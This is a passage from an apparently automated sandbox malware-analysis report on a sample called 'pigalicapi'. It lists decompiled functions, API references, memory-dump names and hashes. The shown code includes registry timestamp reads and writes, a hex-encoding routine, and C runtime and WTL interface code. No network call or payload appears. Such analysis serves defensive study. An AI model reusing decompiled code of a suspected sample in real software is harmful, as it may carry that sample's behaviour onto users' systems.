							asm("cdq");
							_v68 = _t70 / 0x3c;
							if(_v68 <  *((intOrPtr*)(_a4 + 0x10))) {
								_v5 = 0;
							}
						}
						RegCloseKey(_v20);
					}
					goto L12;
				}
			}

APIs

wsprintfA.USER32 ref: 040072BD
RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,000F003F,00000000), ref: 040072F9
RegQueryValueExA.ADVAPI32(00000000,?,00000000,00000000,?,00000010), ref: 04007329
GetLocalTime.KERNEL32(?), ref: 04007343
RegCloseKey.ADVAPI32(00000000), ref: 040073A9

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseLocalOpenQueryTimeValuewsprintf
String ID:
API String ID: 3852505512-0
Opcode ID: dbb66ec4e40f0b96ddf8d886ab6d66ea576557e999e4472c56c1706dad51e441
Instruction ID: 1589668eb117d9c12aae7036857c9bc1fd79cd220dc98d09134ced9bc9b72130
Opcode Fuzzy Hash: dbb66ec4e40f0b96ddf8d886ab6d66ea576557e999e4472c56c1706dad51e441
Instruction Fuzzy Hash: CE414C74900208EFEB08DF94D885BEDBBB5FF48300F14C569E915AB281D779AA45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 040073C0 Relevance: 7.6, APIs: 5, Instructions: 70
registrytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040073C0(long _a4, intOrPtr _a8, intOrPtr _a12) {
				char* _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				char _v36;
				char _v52;
				long _t24;
				char* _t26;

				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_t24 = _a4;
					if( *((intOrPtr*)(_t24 + 0x10)) != 0) {
						_v20 = E040016F0(_a8, _a12);
						_t26 =  *0x40118a0; // 0x4013b88
						_v8 = _t26;
						E04007D20(_t26,  &_v36, 0, 0x10);
						wsprintfA( &_v36, "%u", _v20);
						_v12 = 0x80000001;
						if(( *0x401435a & 0x000000ff) != 0) {
							_v12 = 0x80000002;
						}
						_v16 = 0;
						_t24 = RegOpenKeyExA(_v12, _v8, 0, 0xf003f,  &_v16);
						if(_t24 == 0) {
							GetLocalTime( &_v52);
							RegSetValueExA(_v16,  &_v36, 0, 3,  &_v52, 0x10);
							return RegCloseKey(_v16);
						}
					}
				}
				return _t24;
			}

APIs

wsprintfA.USER32 ref: 04007429
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,000F003F,00000000), ref: 04007465
GetLocalTime.KERNEL32(?), ref: 04007473
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 0400748B
RegCloseKey.ADVAPI32(00000000), ref: 04007495

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseLocalOpenTimeValuewsprintf
String ID:
API String ID: 3926099652-0
Opcode ID: 5b6941f17f7e1ce7d1a6ef015ad0abb591c00484f45a97b9485d98f3a3167c0d
Instruction ID: 829c9f2afe597629132b3bb77bbcf1684e2940429f06bc569247a29e29dd4590
Opcode Fuzzy Hash: 5b6941f17f7e1ce7d1a6ef015ad0abb591c00484f45a97b9485d98f3a3167c0d
Instruction Fuzzy Hash: 442112B5900208ABEB14DFA4D849FFE77B8FB48704F048558FA15AB180D77DAA44CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04009650 Relevance: 7.6, APIs: 5, Instructions: 69
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04009650(intOrPtr _a4, intOrPtr _a8, CHAR* _a12, intOrPtr _a16) {
				int _v8;
				intOrPtr _v12;
				char _v20;
				int _v24;
				signed char _v25;
				void* _t58;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0;
					_v24 = lstrlenA(_a12);
					while(_v12 < _a8 && _v24 < _a16) {
						_v25 =  *((intOrPtr*)(_a4 + _v12));
						E04007D20(_a4 + _v12,  &_v20, 0, 8);
						E04009560(_v25 & 0x000000ff,  &_v20, 7);
						_t58 = _t58 + 0x18;
						lstrcatA(_a12,  &_v20);
						_v24 = lstrlenA(_a12);
						_v12 = _v12 + 1;
					}
					if(lstrlenA(_a12) > _a16) {
						_a12[_a16] = 0;
					}
					_v8 = lstrlenA(_a12);
				}
				return _v8;
			}

APIs

lstrlenA.KERNEL32(00000000), ref: 04009690
lstrcatA.KERNEL32(00000000,00000000), ref: 040096DF
lstrlenA.KERNEL32(00000000), ref: 040096E9
lstrlenA.KERNEL32(00000000), ref: 04009701
lstrlenA.KERNEL32(00000000), ref: 04009719

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID:
API String ID: 493641738-0
Opcode ID: 8467699368807e0697c2a8f8d306fbd68601f1d2da39666beca5ff7786e62213
Instruction ID: 5d62f8ff5c671b513c9f4ed5768570a6b0eac4432c67e9f412687076ede29f23
Opcode Fuzzy Hash: 8467699368807e0697c2a8f8d306fbd68601f1d2da39666beca5ff7786e62213
Instruction Fuzzy Hash: 3D213DB1900349EFEB14CFA4D884BEE7BB5FF44305F148558E914A7281D378AA94CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00816BC3 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 81%

			E00816BC3(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x8244d0);
				E00818F60(__ebx, __edi, __esi);
				_t31 = E0081756D(__ebx, __edx, _t35);
				_t15 =  *0x869588; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0081A67E(_t25, _t31, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x869490; // 0x2e21608
					if(__eflags != 0) {
						__eflags = _t33;
						if(__eflags != 0) {
							__eflags = InterlockedDecrement(_t33);
							if(__eflags == 0) {
								__eflags = _t33 - 0x869068;
								if(__eflags != 0) {
									E00815DE2(_t33);
								}
							}
						}
						_t21 =  *0x869490; // 0x2e21608
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x869490; // 0x2e21608
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00816C5E();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				_t38 = _t33;
				if(_t33 == 0) {
					_push(0x20);
					E008186D7(_t29, _t38);
				}
				return E00818FA5(_t33);
			}

0x00816bc3
0x00816bc3
0x00816bc3
0x00816bc3
0x00816bc5
0x00816bca
0x00816bd4
0x00816bd6
0x00816bde
0x00816bff
0x00816c05
0x00816c09
0x00816c0c
0x00816c0f
0x00816c15
0x00816c17
0x00816c19
0x00816c22
0x00816c24
0x00816c26
0x00816c2c
0x00816c2f
0x00816c34
0x00816c2c
0x00816c24
0x00816c35
0x00816c3a
0x00816c3d
0x00816c43
0x00816c47
0x00816c47
0x00816c4d
0x00816c54
0x00816be6
0x00816be6
0x00816be6
0x00816be9
0x00816beb
0x00816bed
0x00816bef
0x00816bf4
0x00816bfc

APIs

__getptd.LIBCMT ref: 00816BCF

Part of subcall function 0081756D: __getptd_noexit.LIBCMT ref: 00817570
Part of subcall function 0081756D: __amsg_exit.LIBCMT ref: 0081757D

__amsg_exit.LIBCMT ref: 00816BEF
__lock.LIBCMT ref: 00816BFF
InterlockedDecrement.KERNEL32(?), ref: 00816C1C
InterlockedIncrement.KERNEL32(02E21608), ref: 00816C47

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 54ab0c529d24f9b6baa73d98a118fbc13b37b66360feb45927e8792ed8492bb1
Instruction ID: a342b1e317ba26c28a259817301d7bc0b001f0386c1a5277f1e2f39bf938acf2
Opcode Fuzzy Hash: 54ab0c529d24f9b6baa73d98a118fbc13b37b66360feb45927e8792ed8492bb1
Instruction Fuzzy Hash: 5D01C432905615DBCB11AF68980A7DD736CFF04724F154019E4E0E7291EB34A8D1DFD6

Uniqueness

Uniqueness Score: -1.00%

Function 00811BD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

MonitorFromPoint.USER32(?,?,00000000), ref: 00811BEB
MonitorFromPoint.USER32(?,?,00000002), ref: 00811BF5
GetMonitorInfoA.USER32 ref: 00811C24

Strings

(, xrefs: 00811C1D

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Monitor$FromPoint$Info
String ID: (
API String ID: 1942056148-3887548279
Opcode ID: b7566def5dce7295b3bfdb051fd3344517c7fbb1541c43130bcb1f84f5a892ef
Instruction ID: 9812b3fddc5463f1fde1e88d2c8894f7007540630c953c143b08e44da5724e8e
Opcode Fuzzy Hash: b7566def5dce7295b3bfdb051fd3344517c7fbb1541c43130bcb1f84f5a892ef
Instruction Fuzzy Hash: 6D110C70E042199BCB14DFADA845AEEBBB8FF08300F40416EE505E2341D77099818BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0080D050 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0080D050(struct HWND__* __ecx) {
				int _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t8;
				struct HWND__* _t15;

				_t15 = CreateWindowExA(0, "ReBarWindow32", 0, 0x56002640, 0, 0, 0x64, 0x64, __ecx, 0xe800,  *0x880c08, 0);
				_t8 = 0;
				if(_t15 == 0) {
					L4:
					return _t8;
				} else {
					_v12 = 0;
					_v8 = 0;
					_v16 = 0xc;
					_v12 = 0;
					if(SendMessageA(_t15, 0x404, 0,  &_v16) != 0) {
						_t8 = _t15;
						goto L4;
					} else {
						DestroyWindow(_t15);
						return 0;
					}
				}
			}

0x0080d081
0x0080d083
0x0080d087
0x0080d0be
0x0080d0c2
0x0080d089
0x0080d093
0x0080d097
0x0080d09a
0x0080d0a1
0x0080d0ac
0x0080d0bc
0x00000000
0x0080d0ae
0x0080d0af
0x0080d0bb
0x0080d0bb
0x0080d0ac

APIs

CreateWindowExA.USER32 ref: 0080D07B
SendMessageA.USER32 ref: 0080D0A4
DestroyWindow.USER32(00000000), ref: 0080D0AF

Strings

ReBarWindow32, xrefs: 0080D074

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Window$CreateDestroyMessageSend
String ID: ReBarWindow32
API String ID: 238161798-2848004845
Opcode ID: e975115d6d330499dd9749004830726783cd15277b3cb6165161ddfb10c38bdf
Instruction ID: 5fed4fe01efeb143157372eeeba3557ad06f23fe653ef34a162da86f4142a486
Opcode Fuzzy Hash: e975115d6d330499dd9749004830726783cd15277b3cb6165161ddfb10c38bdf
Instruction Fuzzy Hash: BFF04471B51314BBF720DFA89C0AFAA7BA8EB04B11F108155FA08FA2C0E6B059008B95

Uniqueness

Uniqueness Score: -1.00%

Function 0080FAB0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18
registrywindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0080FAB0() {
				intOrPtr _t1;
				intOrPtr _t2;
				intOrPtr _t4;
				struct _CRITICAL_SECTION* _t5;

				_t1 =  *0x8819a4; // 0x0
				if(_t1 == 0) {
					_t4 =  *0x88196c; // 0x8819bc
					_t5 = _t4 + 0x10;
					EnterCriticalSection(_t5);
					if( *0x8819a4 == 0) {
						 *0x8819a4 = RegisterWindowMessageA("WTL_CmdBar_InternalAutoPopupMsg");
					}
					LeaveCriticalSection(_t5);
					_t2 =  *0x8819a4; // 0x0
					return _t2;
				}
				return _t1;
			}

0x0080fab0
0x0080fab8
0x0080faba
0x0080fac0
0x0080fac4
0x0080fad1
0x0080fade
0x0080fade
0x0080fae4
0x0080faea
0x00000000
0x0080faea
0x0080faf0

APIs

EnterCriticalSection.KERNEL32(008819AC,?,0080C31F), ref: 0080FAC4
RegisterWindowMessageA.USER32(WTL_CmdBar_InternalAutoPopupMsg), ref: 0080FAD8
LeaveCriticalSection.KERNEL32(008819AC), ref: 0080FAE4

Strings

WTL_CmdBar_InternalAutoPopupMsg, xrefs: 0080FAD3

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: CriticalSection$EnterLeaveMessageRegisterWindow
String ID: WTL_CmdBar_InternalAutoPopupMsg
API String ID: 6923546-631010736
Opcode ID: e515e4f3543f1667cf1ac726bb3ec9b60a1fcd801937976c5cf38450313f0e82
Instruction ID: ba5aae5b839ce52ceb4748e57c2e29d5bb0559d79269bdc92ace6f5084592640
Opcode Fuzzy Hash: e515e4f3543f1667cf1ac726bb3ec9b60a1fcd801937976c5cf38450313f0e82
Instruction Fuzzy Hash: 1FE0B631903220DFDF619B18FE1CAAA3F68FF45315B884011F80097662DF35584B8F56

Uniqueness

Uniqueness Score: -1.00%

Function 0080FB00 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18
registrywindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0080FB00() {
				intOrPtr _t1;
				intOrPtr _t2;
				intOrPtr _t4;
				struct _CRITICAL_SECTION* _t5;

				_t1 =  *0x8819a8; // 0x0
				if(_t1 == 0) {
					_t4 =  *0x88196c; // 0x8819bc
					_t5 = _t4 + 0x10;
					EnterCriticalSection(_t5);
					if( *0x8819a8 == 0) {
						 *0x8819a8 = RegisterWindowMessageA("WTL_CmdBar_InternalGetBarMsg");
					}
					LeaveCriticalSection(_t5);
					_t2 =  *0x8819a8; // 0x0
					return _t2;
				}
				return _t1;
			}

0x0080fb00
0x0080fb08
0x0080fb0a
0x0080fb10
0x0080fb14
0x0080fb21
0x0080fb2e
0x0080fb2e
0x0080fb34
0x0080fb3a
0x00000000
0x0080fb3a
0x0080fb40

APIs

EnterCriticalSection.KERNEL32(008819AC,?,0080C34D), ref: 0080FB14
RegisterWindowMessageA.USER32(WTL_CmdBar_InternalGetBarMsg), ref: 0080FB28
LeaveCriticalSection.KERNEL32(008819AC), ref: 0080FB34

Strings

WTL_CmdBar_InternalGetBarMsg, xrefs: 0080FB23

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: CriticalSection$EnterLeaveMessageRegisterWindow
String ID: WTL_CmdBar_InternalGetBarMsg
API String ID: 6923546-1327875102
Opcode ID: fc1018955a14542c00002ceb15b25ec0731d617e210f43047b78ea097dffe548
Instruction ID: a6372746f2b29585524e4d2d49cb11e3c6a3e87d1a804ee34f7cd3d34fbcf977
Opcode Fuzzy Hash: fc1018955a14542c00002ceb15b25ec0731d617e210f43047b78ea097dffe548
Instruction Fuzzy Hash: 6CE0B631902220EFDB619B18FD6DA963BA8FB05326B864011F80092662CF34598B8F56

Uniqueness

Uniqueness Score: -1.00%

Function 00815BAB Relevance: 6.2, APIs: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00815BAB(void* __ebx, void* __edi, signed char* _a4, signed int _a8, intOrPtr _a12) {
				signed int _v7;
				signed int _v8;
				char _v12;
				intOrPtr _v16;
				signed int _v20;
				char _v24;
				signed int _t72;
				signed int _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				signed short _t82;
				void* _t84;
				signed short _t87;
				intOrPtr _t91;
				signed int _t97;
				signed int _t100;
				void* _t101;
				signed int _t102;
				void* _t103;
				signed int _t104;
				signed char* _t114;
				signed char* _t115;
				signed int _t116;
				signed int _t117;
				signed int _t118;
				signed int _t124;
				signed int _t125;
				void* _t127;

				E008159F5(__ebx,  &_v24, __edi, _a12);
				_t114 = _a4;
				_t129 = _t114;
				if(_t114 != 0) {
					_push(__ebx);
					_t97 = _a8;
					__eflags = _t97;
					if(__eflags != 0) {
						_t72 = _v20;
						__eflags =  *(_t72 + 8);
						if( *(_t72 + 8) != 0) {
							_push(__edi);
							while(1) {
								_t100 =  *_t114 & 0x000000ff;
								_t124 = _t100 & 0x000000ff;
								_t115 =  &(_t114[1]);
								__eflags =  *(_t124 + _t72 + 0x1d) & 0x00000004;
								_a4 = _t115;
								if(( *(_t124 + _t72 + 0x1d) & 0x00000004) == 0) {
									goto L20;
								}
								__eflags =  *_t115;
								if(__eflags != 0) {
									_t84 = E00818008(_t97, 0x200, __eflags,  &_v24,  *((intOrPtr*)(_t72 + 0xc)), 0x200, _t115 - 1, 2,  &_v8, 2,  *((intOrPtr*)(_t72 + 4)), 1);
									_t127 = _t127 + 0x24;
									__eflags = _t84 - 1;
									if(_t84 != 1) {
										__eflags = _t84 - 2;
										if(__eflags != 0) {
											goto L37;
										} else {
											_t87 = (_v8 & 0x000000ff) * 0x100 + (_v7 & 0x000000ff);
											__eflags = _t87;
											_t125 = _t87 & 0x0000ffff;
											goto L19;
										}
									} else {
										_t125 = _v8 & 0x000000ff;
										L19:
										_a4 =  &(_a4[1]);
										_t72 = _v20;
										goto L23;
									}
								} else {
									_t125 = 0;
									L23:
									_t102 =  *_t97 & 0x000000ff;
									_t117 = _t102 & 0x000000ff;
									_t97 = _t97 + 1;
									__eflags =  *(_t117 + _t72 + 0x1d) & 0x00000004;
									if(( *(_t117 + _t72 + 0x1d) & 0x00000004) == 0) {
										_t118 = _t102;
										_t103 = _t118 + _t72;
										__eflags =  *(_t103 + 0x1d) & 0x00000010;
										if(( *(_t103 + 0x1d) & 0x00000010) == 0) {
											_t104 = _t118;
										} else {
											_t104 =  *(_t103 + 0x11d) & 0x000000ff;
										}
										goto L34;
									} else {
										__eflags =  *_t97;
										if(__eflags != 0) {
											_t77 = E00818008(_t97, 0x200, __eflags,  &_v24,  *((intOrPtr*)(_t72 + 0xc)), 0x200, _t97 - 1, 2,  &_v8, 2,  *((intOrPtr*)(_t72 + 4)), 1);
											_t127 = _t127 + 0x24;
											__eflags = _t77 - 1;
											if(_t77 != 1) {
												__eflags = _t77 - 2;
												if(__eflags != 0) {
													L37:
													 *((intOrPtr*)(E00817A0D(__eflags))) = 0x16;
													__eflags = _v12;
													if(_v12 != 0) {
														_t79 = _v16;
														_t61 = _t79 + 0x70;
														 *_t61 =  *(_t79 + 0x70) & 0xfffffffd;
														__eflags =  *_t61;
													}
													_t74 = 0x7fffffff;
												} else {
													_t82 = (_v8 & 0x000000ff) * 0x100 + (_v7 & 0x000000ff);
													__eflags = _t82;
													_t104 = _t82 & 0x0000ffff;
													goto L30;
												}
											} else {
												_t104 = _v8 & 0x000000ff;
												L30:
												_t72 = _v20;
												_t97 = _t97 + 1;
												goto L34;
											}
										} else {
											_t104 = 0;
											L34:
											__eflags = _t104 - _t125;
											if(_t104 != _t125) {
												asm("sbb eax, eax");
												_t74 = (_t72 & 0x00000002) - 1;
												__eflags = _v12;
												if(_v12 != 0) {
													 *(_v16 + 0x70) =  *(_v16 + 0x70) & 0xfffffffd;
												}
											} else {
												__eflags = _t125;
												if(_t125 == 0) {
													__eflags = _v12;
													if(_v12 != 0) {
														_t75 = _v16;
														_t69 = _t75 + 0x70;
														 *_t69 =  *(_t75 + 0x70) & 0xfffffffd;
														__eflags =  *_t69;
													}
													_t74 = 0;
													__eflags = 0;
												} else {
													_t114 = _a4;
													continue;
												}
											}
										}
									}
								}
								goto L46;
								L20:
								_t116 = _t100;
								_t101 = _t116 + _t72;
								__eflags =  *(_t101 + 0x1d) & 0x00000010;
								if(( *(_t101 + 0x1d) & 0x00000010) == 0) {
									_t125 = _t116;
								} else {
									_t125 =  *(_t101 + 0x11d) & 0x000000ff;
								}
								goto L23;
							}
						} else {
							_t74 = E00818087(_t114, __edi, _t114, _t97,  &_v24);
							__eflags = _v12;
							if(_v12 != 0) {
								 *(_v16 + 0x70) =  *(_v16 + 0x70) & 0xfffffffd;
							}
						}
					} else {
						 *((intOrPtr*)(E00817A0D(__eflags))) = 0x16;
						E008179BB();
						__eflags = _v12 - _t97;
						if(_v12 != _t97) {
							_t91 = _v16;
							_t11 = _t91 + 0x70;
							 *_t11 =  *(_t91 + 0x70) & 0xfffffffd;
							__eflags =  *_t11;
						}
						_t74 = 0x7fffffff;
					}
					L46:
					return _t74;
				} else {
					 *((intOrPtr*)(E00817A0D(_t129))) = 0x16;
					E008179BB();
					if(_v12 != 0) {
						 *(_v16 + 0x70) =  *(_v16 + 0x70) & 0xfffffffd;
					}
					return 0x7fffffff;
				}
			}

0x00815bb9
0x00815bbe
0x00815bc1
0x00815bc3
0x00815be9
0x00815bea
0x00815bed
0x00815bef
0x00815c17
0x00815c1a
0x00815c1e
0x00815c44
0x00815c4b
0x00815c4b
0x00815c4e
0x00815c51
0x00815c52
0x00815c57
0x00815c5a
0x00000000
0x00000000
0x00815c5c
0x00815c5f
0x00815c7c
0x00815c81
0x00815c84
0x00815c87
0x00815c8f
0x00815c92
0x00000000
0x00815c98
0x00815ca9
0x00815ca9
0x00815cac
0x00000000
0x00815cac
0x00815c89
0x00815c89
0x00815caf
0x00815caf
0x00815cb2
0x00000000
0x00815cb2
0x00815c61
0x00815c61
0x00815ccd
0x00815ccd
0x00815cd0
0x00815cd3
0x00815cd4
0x00815cd9
0x00815d32
0x00815d34
0x00815d37
0x00815d3b
0x00815d46
0x00815d3d
0x00815d3d
0x00815d3d
0x00000000
0x00815cdb
0x00815cdb
0x00815cde
0x00815cfd
0x00815d02
0x00815d05
0x00815d08
0x00815d10
0x00815d13
0x00815d5a
0x00815d5f
0x00815d65
0x00815d69
0x00815d6b
0x00815d6e
0x00815d6e
0x00815d6e
0x00815d6e
0x00815d72
0x00815d15
0x00815d26
0x00815d26
0x00815d29
0x00000000
0x00815d29
0x00815d0a
0x00815d0a
0x00815d2c
0x00815d2c
0x00815d2f
0x00000000
0x00815d2f
0x00815ce0
0x00815ce0
0x00815d48
0x00815d48
0x00815d4b
0x00815d79
0x00815d7e
0x00815d7f
0x00815d83
0x00815d88
0x00815d88
0x00815d4d
0x00815d4d
0x00815d50
0x00815d8e
0x00815d92
0x00815d94
0x00815d97
0x00815d97
0x00815d97
0x00815d97
0x00815d9b
0x00815d9b
0x00815d52
0x00815d52
0x00000000
0x00815d52
0x00815d50
0x00815d4b
0x00815cde
0x00815cd9
0x00000000
0x00815cb7
0x00815cb7
0x00815cb9
0x00815cbc
0x00815cc0
0x00815ccb
0x00815cc2
0x00815cc2
0x00815cc2
0x00000000
0x00815cc0
0x00815c20
0x00815c26
0x00815c2e
0x00815c32
0x00815c3b
0x00815c3b
0x00815c32
0x00815bf1
0x00815bf6
0x00815bfc
0x00815c01
0x00815c04
0x00815c06
0x00815c09
0x00815c09
0x00815c09
0x00815c09
0x00815c0d
0x00815c0d
0x00815d9f
0x00815da1
0x00815bc5
0x00815bca
0x00815bd0
0x00815bd9
0x00815bde
0x00815bde
0x00815be8
0x00815be8

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00815BB9

Part of subcall function 008159F5: __getptd.LIBCMT ref: 00815A08

Part of subcall function 00817A0D: __getptd_noexit.LIBCMT ref: 00817A0D

__stricmp_l.LIBCMT ref: 00815C26

Part of subcall function 00818087: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00818096

___crtLCMapStringA.LIBCMT ref: 00815C7C
___crtLCMapStringA.LIBCMT ref: 00815CFD

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
